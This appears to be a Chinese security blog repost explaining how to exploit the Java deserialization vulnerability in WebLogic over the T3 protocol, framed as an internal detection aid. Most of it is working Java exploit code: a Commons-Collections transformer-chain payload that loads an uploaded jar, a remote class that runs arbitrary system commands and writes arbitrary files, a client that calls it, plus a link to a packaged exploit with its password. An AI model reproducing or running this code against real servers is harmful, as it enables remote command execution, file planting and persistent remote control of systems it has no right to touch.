正在阅读:

Java反序列化漏洞之weblogic本地利用实现篇

27,770

0×00前言

weblogic在国内的的应用范围比较广,支撑着很多企业的核心业务,所以一直没有把weblogic的利用工具发布出来。但是最近很多甲方的朋友问我有没有方便的工具检测他们公司部署在内网的weblogic,其实这个漏洞公布了这么久,维护人员也都意识到了这个漏洞的危害性,只是网上公开的检测方法易用性不是太好,检测起来比较麻烦,所以就有了这篇文章。

0×01 思路

因为weblogic会把异常直接打印到服务器端的控制台上,所以在jboss中通过异常封装回显的方法在weblogic上并不适用(参考另一篇文章:Java反序列化漏洞执行命令回显实现及Exploit下载)。但是weblogic有更方便的方法,weblogic是通过T3协议来传输序列化的类,那我们就可以通过T3协议来实现exploit和server的通信,因为weblogic的T3协议和WEB协议共用同一个端口,所以只要能访问weblogic,就可以利用,不需要加载远程类,因此对服务器能否连外网没有要求。关于T3协议的详细介绍,此次不再赘述,如果读者对此不熟悉也没关系,只要知道T3协议允许客户端远程调用服务端的类就可以了。所以我们整理一下思路:


(1) 首先我们在本地创建一个可以供我们远程调用的类并编译。
(2)把编译好的类上传至服务器。
(3)在远程服务器上注册并绑定我们上传的类。
(4)本地远程调用我们的类,执行我们想要执行的指令。
(5)执行完毕,反注册远程类。
(6)删除类文件。

0×02实现

(1)创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:

接口:

public interface InitApp extends java.rmi.Remote {
      String runCmd(String cmd) ;
  String putFile(String Content,String Path);
}

实现类:

public class InitAppImpl implements InitApp{   
  private String name;
  public InitAppImpl(String s) throws RemoteException {
    super();
    name = s;
  }
  /**
   * Returns a string.
   *
   * @return results of cmd
   *
   */
  public String runCmd(String cmd)  {
      try
      {
      Process proc = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
        sb.append(line).append("\n");
        }
        return sb.toString();
      }
      catch(Exception e)
      {
          return e.getMessage();
      }
  }
  public String putFile(String Content,String Path) {
      try
      {
          FileOutputStream fo=new FileOutputStream(Path);
          fo.write(Content.getBytes());
          fo.close();
          File f=new File(Path);
          if (f.exists())
          {
              return Path+"上传成功!已验证存在。";
          }
          else
          {
              return Path+"上传成功!";
          }
          
      }
      catch(Exception e)
      {
          return e.getMessage();
      }
     
    
  }
 
  public static void main(String args[]) throws Exception {        
    try {
      InitAppImpl obj = new InitAppImpl("RemoteClass");
      Context ctx = new InitialContext();
      ctx.bind("RemoteClass", obj);   
    }
    catch (Exception e) {
      System.err.println("RemoteClass: an exception occurred:");
      System.err.println(e.getMessage());
      throw e;
    }
  }
}

(2) 编译并上传:

把前一步编译好的文件打包成jar,为了保证老版本weblogic的通用型,最好用比较老版本的jdk来编译。编译之后,以字节数组的形式放进payload,上传至服务器端。

(3) 在远程服务器上注册并绑定我们上传的类。

上传之后,通过发送执行注册绑定功能的payload,绑定我们上传的远程类,即执行我们远程类的main方法即可。payload代码如下:

public class GenInstallPayload {
 
     public static byte[] Gen(String OS) throws Exception
     {
         String Path="file:/c:/windows/temp/test.jar";
         if (!OS.equals("Windows"))
         {
            Path="file:/tmp/test.jar ";
         }
         final Transformer[] transforms = new Transformer[] {
         new ConstantTransformer(java.net.URLClassLoader.class),
         // getConstructor class.class classname
         new InvokerTransformer("getConstructor",
         new Class[] { Class[].class },
         new Object[] { new Class[] { java.net.URL[].class } }),
         new InvokerTransformer(
         "newInstance",
         new Class[] { Object[].class },
         new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
         Path) } } }),
         new InvokerTransformer("loadClass",
         new Class[] { String.class }, new Object[] { "weblogic.jndi.internal.InitAppImpl" }),
         // set the target reverse ip and port
         new InvokerTransformer("getMethod", new Class[] {
                 String.class, Class[].class }, new Object[] {
                 "main", new Class[]{String[].class} }),
         // invoke
         new InvokerTransformer("invoke",new Class[] {
                 Object.class, Object[].class }, new Object[] {
                 null, new Object[]{new String[]{"just for test"}} }) };
         Transformer transformerChain = new ChainedTransformer(transforms);
         Map innermap = new HashMap();
         innermap.put("value", "value");
         Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
         Class cls = Class
         .forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Retention.class, outmap);
         ByteArrayOutputStream bo=new ByteArrayOutputStream(10);
         ObjectOutputStream out = new ObjectOutputStream(bo);
            out.writeObject(instance);
            out.flush();
            out.close();
            return bo.toByteArray();
     }
}

(4) 本地远程调用我们的类,执行我们想要执行的指令:

既然我们的远程类已经上传,并在对方服务器上注册,下面我们就可以通过weblogic的T3协议来调用了,当然利用的是weblogic的web服务端口,废话不多说,给出本地调用类代码如下:

public class HelloClient
{
  // Defines the JNDI context factory.
  public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
  int port;
  String host;
  
  private static void usage() {
    System.err.println("Usage: java HelloClient <hostname> <port number>");
  } 
  
  public HelloClient() {}
  
  public static void main(String[] argv) throws Exception {
    if (argv.length < 2) {
      usage();
      return;
    }
    String host = argv[0];
    int port = 0;
    try {
      port = Integer.parseInt(argv[1]);
    }
    catch (NumberFormatException nfe) {
      usage();
      throw nfe;
    }
    try {
      InitialContext ic = getInitialContext("t3://" + host + ":" + port);
      InitApp obj = (InitApp) ic.lookup("RemoteClass ");
      System.out.println("Successfully connected to HelloServer on " +
                         host + " at port " +
                         port);
String CmdResult= obj.runCmd("net user");
 System.out.println (CmdResult) ;
String UploadResult= obj.putFile("just for test", "c:/test.txt");
     System.out.println(UploadResult);
    }
    catch (Exception ex) {
      System.err.println("An exception occurred: "+ex.getMessage());
      throw ex;
    }
  }
 
  public static InitialContext getInitialContext(String url)
    throws NamingException
  {
    Hashtable<String,String> env = new Hashtable<String,String>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
    env.put(Context.PROVIDER_URL, url);
    return new InitialContext(env);
  } 
}

下面我们来测试一下,直接eclipse运行HelloClient类,RunConfigurations里面设置IP和端口参数,测试IP为我的虚拟机,端口7001,返回结果如下:

java反序列化

完美回显:)。

java反序列化2

验证文件成功上传。

(5) 执行完毕,反注册远程类。

执行过程会产生正常生成过程不需要的一个类,检测完成后最好删掉,删除步骤和上面的注册步骤差不多,也需要上传一个远程类,只不过这个远程类要做的事情是反注册掉之前我们注册绑定的那个类。具体实现代码和第一步的一样,核心实现代码如下:

public static void main(String args[]) throws Exception {        
    try {
      InitAppImpl obj = new InitAppImpl("RemoteClass");
      Context ctx = new InitialContext();
      ctx.unbind("RemoteClass");     
    }
    catch (Exception e) {
      System.err.println("RemoteClass: an exception occurred:");
      System.err.println(e.getMessage());
      throw e;
    }
  }

(6) 删除类文件。

因为我们之前通过链式调用FileOutputStream来上传文件,并没有关闭文件句柄,不好删除,因为我们删除临时文件的目的是保护我们的代码,所以这里只要重新调用一次FileOutputStream的write方法写入一个空值,就可以了。当然也可以通过其他方法来彻底删除,因为毕竟我们可以执行任意代码,所以就可以做任何事情,当然不能越权:)。

0×03总结

通过这种方法,我们完全可以扩展远程类的功能,不仅仅只局限于回显和文本上传,比如二进制文件上传,因为这里远程类其实已经相当于一个远控的服务端(agent)了。也可以不局限于T3协议,利用其他可以远程调用的协议都是可以的,也可以不局限于weblogic,其他的web容器也可以,只不过有的容器默认的远程调用相关的端口不对外开放,应用起来会比较局限。好了,前面的代码都是一些demo,下面附上成品的exploit,没有进行任何加密混淆,。有兴趣的同学可以反编译直接看到完整源代码。因为附带了weblogic的包,所以体积比较大。

java反序列化3

java反序列化4

最后希望结识热爱网络安全的朋友一起交流:)

下载地址:

点我下载

密码: spcn

原创作者:rebeyond 原文地址:http://www.freebuf.com/vuls/90802.html

目前有:20条访客评论,博主回复9

  1. Kevin
    2017-10-19 15:42

    有没有哪位大牛知道这个软件的用法啊?求指导

  2. qqq
    2018-04-19 15:28

    大神给我发一份吧,2633751589@qq.com,万分感谢

  3. 一一
    2018-10-31 23:55

    大神把这工具也发我一下吧,万分感谢

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌